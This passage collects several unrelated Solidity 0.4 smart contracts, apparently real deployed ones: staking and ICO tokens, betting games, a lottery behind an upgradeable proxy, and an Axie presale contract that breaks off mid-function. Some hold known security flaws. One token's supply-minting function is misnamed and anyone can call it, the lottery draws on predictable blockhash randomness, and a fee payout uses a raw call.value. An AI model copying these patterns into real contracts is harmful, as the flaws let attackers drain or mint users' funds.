mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Interface { function transfer(address _to, uint _value) public returns (bool success); function transfer(address _to, uint _value, bytes _data) public returns (bool success); event ERC223Transfer(address indexed _from, address indexed _to, uint _value, bytes _data); } contract HumanStandardToken is ERC223Interface, StandardToken { using SafeMath for uint256; function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value); ERC223Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint _value) public returns (bool success) { uint codeLength; bytes memory empty; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value); ERC223Transfer(msg.sender, _to, _value, empty); return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract LunetToken is HumanStandardToken { using SafeMath for uint256; string public name = "Lunet"; string public symbol= "LUNET"; uint8 public decimals = 18; uint256 public tokenCreationCap = 1000000000000000000000000000; uint256 public lunetReserve = 50000000000000000000000000; event CreateLUNETS(address indexed _to, uint256 _value, uint256 _timestamp); event Staked(address indexed _from, uint256 _value, uint256 _timestamp); event Withdraw(address indexed _from, uint256 _value, uint256 _timestamp); struct Stake { uint256 amount; uint256 timestamp; } mapping (address => Stake) public stakes; function LunetToken() public { totalSupply = lunetReserve; balances[msg.sender] = lunetReserve; CreateLUNETS(msg.sender, lunetReserve, now); } function stake() external payable { require(msg.value > 0); Stake storage stake = stakes[msg.sender]; uint256 amount = stake.amount.add(msg.value); stake.amount = amount; stake.timestamp = now; Staked(msg.sender, amount, now); } function withdraw() public { Stake storage stake = stakes[msg.sender]; require(stake.amount > 0); uint256 amount = stake.amount; stake.amount = 0; if (!msg.sender.send(amount)) revert(); Withdraw(msg.sender, amount, now); } function claim() public { uint256 reward = getReward(msg.sender); if (reward > 0) { Stake storage stake = stakes[msg.sender]; stake.timestamp = now; uint256 checkedSupply = totalSupply.add(reward); if (tokenCreationCap < checkedSupply) revert(); totalSupply = checkedSupply; balances[msg.sender] += reward; CreateLUNETS(msg.sender, reward, now); } } function claimAndWithdraw() external { claim(); withdraw(); } function getReward(address staker) public constant returns (uint256) { Stake memory stake = stakes[staker]; uint256 precision = 100000; uint256 difference = now.sub(stake.timestamp).mul(precision); uint totalDays = difference.div(1 days); uint256 reward = stake.amount.mul(totalDays).div(precision); return reward; } function getStake(address staker) external constant returns (uint256, uint256) { Stake memory stake = stakes[staker]; return (stake.amount, stake.timestamp); } }
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pragma solidity ^0.4.24; contract WhatDoesNadiaThink { address public owner; string public question; string public questionType; string public answerHash; bytes32[] public responses; uint256 public marketClosureTime; uint256 public timeout; uint256 public integrityFee; uint256 public integrityPercentage; uint256 public winningAnswer; uint256 public total; event AddressandAnswer(address indexed _from, uint256 indexed _result, uint _value); constructor(string _question, bytes32[] _responses, string _questionType, string _answerHash, uint256 _timeQuestionIsOpen) public payable { owner = msg.sender; question = _question; responses = _responses; marketClosureTime = now + _timeQuestionIsOpen; timeout = now + _timeQuestionIsOpen + 1209600; questionType = _questionType; answerHash = _answerHash; integrityPercentage = 5; winningAnswer = 1234; total = msg.value; } enum States { Open, Resolved, Cancelled } States state = States.Open; mapping(address => mapping(uint256 => uint256)) public answerAmount; mapping(uint256 => uint256) public totalPerResponse; uint256 winningResponse; function answer(uint256 result) public payable { if (now > marketClosureTime) { revert(); } require(state == States.Open); answerAmount[msg.sender][result] += msg.value; totalPerResponse[result] += msg.value; total += msg.value; require(total < 2 ** 128); emit AddressandAnswer(msg.sender, result, msg.value); } function resolve(uint256 _winningResponse) public { require(now > marketClosureTime && state == States.Open); require(msg.sender == owner); winningResponse = _winningResponse; winningAnswer = winningResponse + 1; if (totalPerResponse[winningResponse] == 0) { state = States.Cancelled; } else { state = States.Resolved; integrityFee = total * integrityPercentage/100; msg.sender.transfer(integrityFee); } } function claim() public { require(state == States.Resolved); uint256 amount = answerAmount[msg.sender][winningResponse] * (total - integrityFee) / totalPerResponse[winningResponse]; answerAmount[msg.sender][winningResponse] = 0; msg.sender.transfer(amount); } function cancel() public { require(state != States.Resolved); require(msg.sender == owner || now > timeout); state = States.Cancelled; } function refund(uint256 result) public { require(state == States.Cancelled); uint256 amount = answerAmount[msg.sender][result]; answerAmount[msg.sender][result] = 0; msg.sender.transfer(amount); } }
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pragma solidity ^0.4.21 ; contract RUSS_PFVI_I_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFVI_I_883 " ; string public symbol = " RUSS_PFVI_I_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 608977150836653000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
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pragma solidity ^0.4.24; contract DiscountToken { mapping (address => uint256) public balanceOf; } contract TwoCoinsOneMoonGame { struct Bettor { address account; uint256 amount; } struct Event { uint256 winner; uint256 newMoonLevel; uint256 block; uint256 blueCap; uint256 redCap; } uint256 public lastLevelChangeBlock; uint256 public lastEventId; uint256 public moonLevel; uint256 public marketCapBlue; uint256 public marketCapRed; uint256 public startBetBlue; uint256 public startBetRed; Bettor[] public bettorsBlue; Bettor[] public bettorsRed; Event[] public history; mapping (address => uint) public balance; address private feeCollector; DiscountToken discountToken; constructor() public { marketCapBlue = 0; marketCapRed = 0; startBetBlue = 0; startBetRed = 0; feeCollector = 0xfd4e7b9f4f97330356f7d1b5ddb9843f2c3e9d87; discountToken = DiscountToken(0x40430713e9fa954cf33562b8469ad94ab3e14c10); lastLevelChangeBlock = block.number; moonLevel = 500 finney; } function getBetAmount() private returns (uint256) { require (msg.value >= 100 finney); uint256 betAmount = msg.value; if (discountToken.balanceOf(msg.sender) == 0) { uint256 comission = betAmount * 4 / 100; betAmount -= comission; balance[feeCollector] += comission; } return betAmount; } function betBlueCoin() public payable { uint256 betAmount = getBetAmount(); marketCapBlue += betAmount; bettorsBlue.push(Bettor({account:msg.sender, amount:betAmount})); checkMoon(); } function betRedCoin() public payable { uint256 betAmount = getBetAmount(); marketCapRed += betAmount; bettorsRed.push(Bettor({account:msg.sender, amount:betAmount})); checkMoon(); } function withdraw() public { if (balance[feeCollector] != 0) { uint256 fee = balance[feeCollector]; balance[feeCollector] = 0; feeCollector.call.value(fee)(); } uint256 amount = balance[msg.sender]; balance[msg.sender] = 0; msg.sender.transfer(amount); } function depositBalance(uint256 winner) private { uint256 i; if (winner == 0) { for (i = startBetBlue; i < bettorsBlue.length; i++) { balance[bettorsBlue[i].account] += bettorsBlue[i].amount; balance[bettorsBlue[i].account] += 10**18 * bettorsBlue[i].amount / marketCapBlue * marketCapRed / 10**18; } } else { for (i = startBetRed; i < bettorsRed.length; i++) { balance[bettorsRed[i].account] += bettorsRed[i].amount; balance[bettorsRed[i].account] += 10**18 * bettorsRed[i].amount / marketCapRed * marketCapBlue / 10**18; } } } function addEvent(uint256 winner) private { history.push(Event({winner: winner, newMoonLevel: moonLevel, block: block.number, blueCap: marketCapBlue, redCap: marketCapRed})); lastEventId = history.length - 1; lastLevelChangeBlock = block.number; } function burstBubble() private { uint256 winner; if (marketCapBlue == marketCapRed) { winner = block.number % 2; } else if (marketCapBlue > marketCapRed) { winner = 0; } else { winner = 1; } depositBalance(winner); moonLevel = moonLevel * 2; addEvent(winner); marketCapBlue = 0; marketCapRed = 0; startBetBlue = bettorsBlue.length; startBetRed = bettorsRed.length; } function checkMoon() private { if (block.number - lastLevelChangeBlock > 42000) { moonLevel = moonLevel / 2; addEvent(2); } if (marketCapBlue >= moonLevel || marketCapRed >= moonLevel) { burstBubble(); } } }
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1,998
pragma solidity ^ 0.4 .8; contract ERC20 { function totalSupply() constant returns(uint total_Supply); function balanceOf(address who) constant returns(uint256); function allowance(address owner, address spender) constant returns(uint); function transferFrom(address from, address to, uint value) returns(bool ok); function approve(address spender, uint value) returns(bool ok); function transfer(address to, uint value) returns(bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract blockoptions is ERC20 { string public name = "blockoptions"; string public symbol = "BOP"; uint public decimals = 8; uint public _totalSupply=20000000 * 10**decimals; uint pre_ico_start; uint pre_ico_end; uint ico_start; uint ico_end; mapping(uint => address) investor; mapping(uint => uint) weireceived; mapping(uint => uint) optsSent; event preico(uint counter,address investors,uint weiReceived,uint bopsent); event ico(uint counter,address investors,uint weiReceived,uint bopsent); uint counter=0; uint profit_sent=0; bool stopped = false; function blockoptions() payable{ owner = msg.sender; balances[owner] = _totalSupply ; pre_ico_start = now; pre_ico_end = pre_ico_start + 7 days; } mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; address public owner; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function transferOwnership(address newOwner) onlyOwner { balances[newOwner] = balances[owner]; balances[owner]=0; owner = newOwner; } function Mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function Div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function Sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function Add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { throw; } } function transfer(address _to, uint _value) returns (bool){ uint check = balances[owner] - _value; if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000) { return false; } else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000) { return false; } else if(msg.sender == owner && check < 130000000000000 && now < ico_start + 180 days) { return false; } else if (msg.sender == owner && check < 80000000000000 && now < ico_start + 360 days) { return false; } else if (msg.sender == owner && check < 30000000000000 && now < ico_start + 540 days) { return false; } else if (_value > 0) { balances[msg.sender] = Sub(balances[msg.sender],_value); balances[_to] = Add(balances[_to],_value); Transfer(msg.sender, _to, _value); return true; } else{ return false; } } function transferFrom(address _from, address _to, uint _value) returns (bool) { if (_value > 0) { var _allowance = allowed[_from][msg.sender]; balances[_to] = Add(balances[_to], _value); balances[_from] = Sub(balances[_from], _value); allowed[_from][msg.sender] = Sub(_allowance, _value); Transfer(_from, _to, _value); return true; }else{ return false; } } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } function drain() onlyOwner { owner.send(this.balance); } function() payable { if(stopped && msg.sender != owner) revert(); else if(msg.sender == owner) { profit_sent = msg.value; } else if(now>=pre_ico_start && now<=pre_ico_end) { uint check = balances[owner]-((400*msg.value)/10000000000); if(check >= 1900000000000000) pre_ico(msg.sender,msg.value); } else if (now>=ico_start && now<ico_end) { main_ico(msg.sender,msg.value); } } function pre_ico(address sender, uint value)private { counter = counter+1; investor[counter]=sender; weireceived[counter]=value; optsSent[counter] = (400*value)/10000000000; balances[owner]=balances[owner]-optsSent[counter]; balances[investor[counter]]+=optsSent[counter]; preico(counter,investor[counter],weireceived[counter],optsSent[counter]); } function main_ico(address sender, uint value)private { if(now >= ico_start && now <= (ico_start + 7 days)) { counter = counter+1; investor[counter]=sender; weireceived[counter]=value; optsSent[counter] = (250*value)/10000000000; balances[owner]=balances[owner]-optsSent[counter]; balances[investor[counter]]+=optsSent[counter]; ico(counter,investor[counter],weireceived[counter],optsSent[counter]); } else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days)) { counter = counter+1; investor[counter]=sender; weireceived[counter]=value; optsSent[counter] = (220*value)/10000000000; balances[owner]=balances[owner]-optsSent[counter]; balances[investor[counter]]+=optsSent[counter]; ico(counter,investor[counter],weireceived[counter],optsSent[counter]); } else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days)) { counter = counter+1; investor[counter]=sender; weireceived[counter]=value; optsSent[counter] = (200*value)/10000000000; balances[owner]=balances[owner]-optsSent[counter]; balances[investor[counter]]+=optsSent[counter]; ico(counter,investor[counter],weireceived[counter],optsSent[counter]); } } function startICO()onlyOwner { ico_start = now; ico_end=ico_start + 31 days; pre_ico_start = 0; pre_ico_end = 0; } function totalSupply() constant returns(uint256 totalSupply) { totalSupply = _totalSupply; } function endICO()onlyOwner { stopped=true; if(balances[owner] > 130000000000000) { uint burnedTokens = balances[owner]-130000000000000; _totalSupply = _totalSupply-burnedTokens; balances[owner] = 130000000000000; } } }
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pragma solidity ^0.4.24; library DataSet { enum RoundState { UNKNOWN, STARTED, STOPPED, DRAWN, ASSIGNED } struct Round { uint256 count; uint256 timestamp; uint256 blockNumber; uint256 drawBlockNumber; RoundState state; uint256 pond; uint256 winningNumber; address winner; } } library NumberCompressor { uint256 constant private MASK = 16777215; function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256) { require(_begin <= _end && _end < _ceiling, "number is invalid"); return _begin << 24 | _end; } function decode(uint256 _value) internal pure returns (uint256, uint256) { uint256 end = _value & MASK; uint256 begin = (_value >> 24) & MASK; return (begin, end); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } } contract Events { event onActivate ( address indexed addr, uint256 timestamp, uint256 bonus, uint256 issued_numbers ); event onDraw ( uint256 timestatmp, uint256 blockNumber, uint256 roundID, uint256 winningNumber ); event onStartRunnd ( uint256 timestamp, uint256 roundID ); event onBet ( address indexed addr, uint256 timestamp, uint256 roundID, uint256 beginNumber, uint256 endNumber ); event onAssign ( address indexed operatorAddr, uint256 timestatmp, address indexed winnerAddr, uint256 roundID, uint256 pond, uint256 bonus, uint256 fund ); event onRefund ( address indexed operatorAddr, uint256 timestamp, address indexed playerAddr, uint256 count, uint256 amount ); event onLastRefund ( address indexed operatorAddr, uint256 timestamp, address indexed platformAddr, uint256 amout ); } contract Winner is Events { using SafeMath for *; uint256 constant private MIN_BET = 0.01 ether; uint256 constant private PRICE = 0.01 ether; uint256 constant private MAX_DURATION = 30 days; uint256 constant private REFUND_RATE = 90; address constant private platform = 0x67064806CBF376Eb6ADf6548d0Cdc51A3437Dc4d; uint256 private curRoundID; uint256 private drawnRoundID; uint256 private drawnBlockNumber; uint256 private bonus; uint256 private issued_numbers; bool private initialized; mapping (uint256 => DataSet.Round) private rounds; mapping (uint256 => mapping(address => uint256[])) private playerNumbers; mapping (address => bool) private administrators; constructor() public { } modifier isAdmin() { require(administrators[msg.sender], "only administrators"); _; } modifier isInitialized () { require(initialized == true, "game is inactive"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry, humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= MIN_BET, "the bet is too small"); require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big"); _; } function() public payable isHuman() isInitialized() isWithinLimits(msg.value) { bet(msg.value); } function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman() { require(initialized == false, "it has been initialized already"); require(_bonus > 0, "bonus is invalid"); require(_issued_numbers > 0, "issued_numbers is invalid"); initialized = true; administrators[msg.sender] = true; bonus = _bonus; issued_numbers = _issued_numbers; emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers); curRoundID = 1; rounds[curRoundID].state = DataSet.RoundState.STARTED; rounds[curRoundID].timestamp = block.timestamp; drawnRoundID = 0; emit onStartRunnd(block.timestamp, curRoundID); } function drawNumber() private view returns(uint256) { return uint256(keccak256(abi.encodePacked( ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp)) ))) % issued_numbers; } function bet(uint256 _amount) private { if (block.number != drawnBlockNumber && curRoundID > drawnRoundID && rounds[drawnRoundID + 1].count == issued_numbers && block.number >= rounds[drawnRoundID + 1].blockNumber + 7) { drawnBlockNumber = block.number; drawnRoundID += 1; rounds[drawnRoundID].winningNumber = drawNumber(); rounds[drawnRoundID].state = DataSet.RoundState.DRAWN; rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber; emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber); } uint256 amount = _amount; while (true) { uint256 max = issued_numbers - rounds[curRoundID].count; uint256 available = amount.div(PRICE).min(max); if (available == 0) { if (amount != 0) { rounds[curRoundID].pond += amount; } break; } uint256[] storage numbers = playerNumbers[curRoundID][msg.sender]; uint256 begin = rounds[curRoundID].count; uint256 end = begin + available - 1; uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers); numbers.push(compressedNumber); rounds[curRoundID].pond += available.mul(PRICE); rounds[curRoundID].count += available; amount -= available.mul(PRICE); emit onBet(msg.sender, block.timestamp, curRoundID, begin, end); if (rounds[curRoundID].count == issued_numbers) { rounds[curRoundID].blockNumber = block.number; rounds[curRoundID].state = DataSet.RoundState.STOPPED; curRoundID += 1; rounds[curRoundID].state = DataSet.RoundState.STARTED; rounds[curRoundID].timestamp = block.timestamp; emit onStartRunnd(block.timestamp, curRoundID); } } } function assign(uint256 _roundID) external isHuman() isInitialized() { assign2(msg.sender, _roundID); } function assign2(address _player, uint256 _roundID) public isHuman() isInitialized() { require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning"); uint256[] memory numbers = playerNumbers[_roundID][_player]; require(numbers.length > 0, "player did not involve in"); uint256 targetNumber = rounds[_roundID].winningNumber; for (uint256 i = 0; i < numbers.length; i ++) { (uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]); if (targetNumber >= start && targetNumber <= end) { uint256 fund = rounds[_roundID].pond.sub(bonus); _player.transfer(bonus); platform.transfer(fund); rounds[_roundID].state = DataSet.RoundState.ASSIGNED; rounds[_roundID].winner = _player; emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund); break; } } } function refund() external isHuman() isInitialized() { refund2(msg.sender); } function refund2(address _player) public isInitialized() isHuman() { require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding"); uint256[] storage numbers = playerNumbers[curRoundID][_player]; require(numbers.length > 0, "player did not involve in"); uint256 count = 0; for (uint256 i = 0; i < numbers.length; i ++) { (uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]); count += (end - begin + 1); } uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100); rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount); _player.transfer(amount); emit onRefund(msg.sender, block.timestamp, _player, count, amount); rounds[curRoundID].count -= count; if (rounds[curRoundID].count == 0) { uint256 last = rounds[curRoundID].pond; platform.transfer(last); rounds[curRoundID].pond = 0; emit onLastRefund(msg.sender, block.timestamp, platform, last); } } function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[]) { return playerNumbers[_roundID][_palyer]; } function getRoundInfo(uint256 _roundID) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, address) { return ( rounds[_roundID].count, rounds[_roundID].blockNumber, rounds[_roundID].drawBlockNumber, uint256(rounds[_roundID].state), rounds[_roundID].pond, rounds[_roundID].winningNumber, rounds[_roundID].winner ); } function gameInfo() public view returns(bool, uint256, uint256, uint256, uint256) { return ( initialized, bonus, issued_numbers, curRoundID, drawnRoundID ); } } contract Proxy { function implementation() public view returns (address); function () public payable { address _impl = implementation(); require(_impl != address(0), "address invalid"); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract UpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy"); constructor() public {} function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { impl := sload(position) } } function setImplementation(address newImplementation) internal { bytes32 position = implementationPosition; assembly { sstore(position, newImplementation) } } function _upgradeTo(address newImplementation) internal { address currentImplementation = implementation(); require(currentImplementation != newImplementation, "new address is the same"); setImplementation(newImplementation); emit Upgraded(newImplementation); } } contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { event ProxyOwnershipTransferred(address previousOwner, address newOwner); bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner"); constructor() public { setUpgradeabilityOwner(msg.sender); } modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "owner only"); _; } function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } function setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0), "address is invalid"); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner { upgradeTo(implementation); require(address(this).call.value(msg.value)(data), "data is invalid"); } }
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pragma solidity ^0.4.19; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract HasNoEther is Ownable { function HasNoEther() payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract AxiePresale is HasNoEther, Pausable { using SafeMath for uint256; uint256 constant public PRESALE_END_TIMESTAMP = 1521244799; uint8 constant public CLASS_BEAST = 0; uint8 constant public CLASS_AQUATIC = 2; uint8 constant public CLASS_PLANT = 4; uint256 constant public INITIAL_PRICE_INCREMENT = 1600 szabo; uint256 constant public INITIAL_PRICE = INITIAL_PRICE_INCREMENT; uint256 constant public REF_CREDITS_PER_AXIE = 5; mapping (uint8 => uint256) public currentPrices; mapping (uint8 => uint256) public priceIncrements; mapping (uint8 => uint256) public totalAxiesAdopted; mapping (address => mapping (uint8 => uint256)) public axiesAdopted; mapping (address => uint256) public referralCredits; mapping (address => uint256) public axiesRewarded; uint256 public totalAxiesRewarded; event AxiesAdopted( address indexed adopter, uint8 indexed clazz, uint256 quantity, address indexed referrer ); event AxiesRewarded(address indexed receiver, uint256 quantity); event AdoptedAxiesRedeemed(address indexed receiver, uint8 indexed clazz, uint256 quantity); event RewardedAxiesRedeemed(address indexed receiver, uint256 quantity); function AxiePresale() public { priceIncrements[CLASS_BEAST] = priceIncrements[CLASS_AQUATIC] = priceIncrements[CLASS_PLANT] = INITIAL_PRICE_INCREMENT; currentPrices[CLASS_BEAST] = currentPrices[CLASS_AQUATIC] = currentPrices[CLASS_PLANT] = INITIAL_PRICE; } function axiesPrice( uint256 beastQuantity, uint256 aquaticQuantity, uint256 plantQuantity ) public view returns (uint256 totalPrice) { uint256 price; (price,,) = _axiesPrice(CLASS_BEAST, beastQuantity); totalPrice = totalPrice.add(price); (price,,) = _axiesPrice(CLASS_AQUATIC, aquaticQuantity); totalPrice = totalPrice.add(price); (price,,) = _axiesPrice(CLASS_PLANT, plantQuantity); totalPrice = totalPrice.add(price); } function adoptAxies( uint256 beastQuantity, uint256 aquaticQuantity, uint256 plantQuantity, address referrer ) public payable whenNotPaused { require(now <= PRESALE_END_TIMESTAMP); require(beastQuantity <= 3); require(aquaticQuantity <= 3); require(plantQuantity <= 3); address adopter = msg.sender; address actualReferrer = 0x0; if (referrer != adopter) { actualReferrer = referrer; } uint256 value = msg.value; uint256 price; if (beastQuantity > 0) { price = _adoptAxies( adopter, CLASS_BEAST, beastQuantity, actualReferrer ); require(value >= price); value -= price; } if (aquaticQuantity > 0) { price = _adoptAxies( adopter, CLASS_AQUATIC, aquaticQuantity, actualReferrer ); require(value >= price); value -= price; } if (plantQuantity > 0) { price = _adoptAxies( adopter, CLASS_PLANT, plantQuantity, actualReferrer ); require(value >= price); value -= price; } msg.sender.transfer(value); if (actualReferrer != 0x0) { uint256 numCredit = referralCredits[actualReferrer] .add(beastQuantity) .add(aquaticQuantity) .add(plantQuantity); uint256 numReward = numCredit / REF_CREDITS_PER_AXIE; if (numReward > 0) { referralCredits[actualReferrer] = numCredit % REF_CREDITS_PER_AXIE; axiesRewarded[actualReferrer] = axiesRewarded[actualReferrer].add(numReward); totalAxiesRewarded = totalAxiesRewarded.add(numReward); AxiesRewarded(actualReferrer, numReward); } else { referralCredits[actualReferrer] = numCredit; } } } function redeemAdoptedAxies( address receiver, uint256 beastQuantity, uint256 aquaticQuantity, uint256 plantQuantity ) public onlyOwner returns ( uint256 , uint256 , uint256 ) { return ( _redeemAdoptedAxies(receiver, CLASS_BEAST, beastQuantity), _redeemAdoptedAxies(receiver, CLASS_AQUATIC, aquaticQuantity), _redeemAdoptedAxies(receiver, CLASS_PLANT, plantQuantity) ); } function redeemRewardedAxies( address receiver, uint256 quantity ) public onlyOwner returns (uint256 remainingQuantity) { remainingQuantity = axiesRewarded[receiver] = axiesRewarded[receiver].sub(quantity); if (quantity > 0) { totalAxiesRewarded -= quantity; RewardedAxiesRedeemed(receiver, quantity); } } function _axiesPrice( uint8 clazz, uint256 quantity ) private view returns (uint256 totalPrice, uint256 priceIncrement, uint256 currentPrice) { priceIncrement = priceIncrements[clazz]; currentPrice = currentPrices[clazz]; uint256 nextPrice; for (uint256 i = 0; i < quantity; i++) { totalPrice = totalPrice.add(currentPrice); nextPrice = currentPrice.add(priceIncrement); if (nextPrice / 100 finney != currentPrice / 100 finney) { priceIncrement >>= 1; } currentPrice = nextPrice; } } function _adoptAxies( address adopter, uint8 clazz, uint256 quantity, address referrer ) private returns (uint256 totalPrice) { (totalPrice, priceIncrements[clazz], currentPrices[clazz]) = _axiesPrice(clazz, quantity); 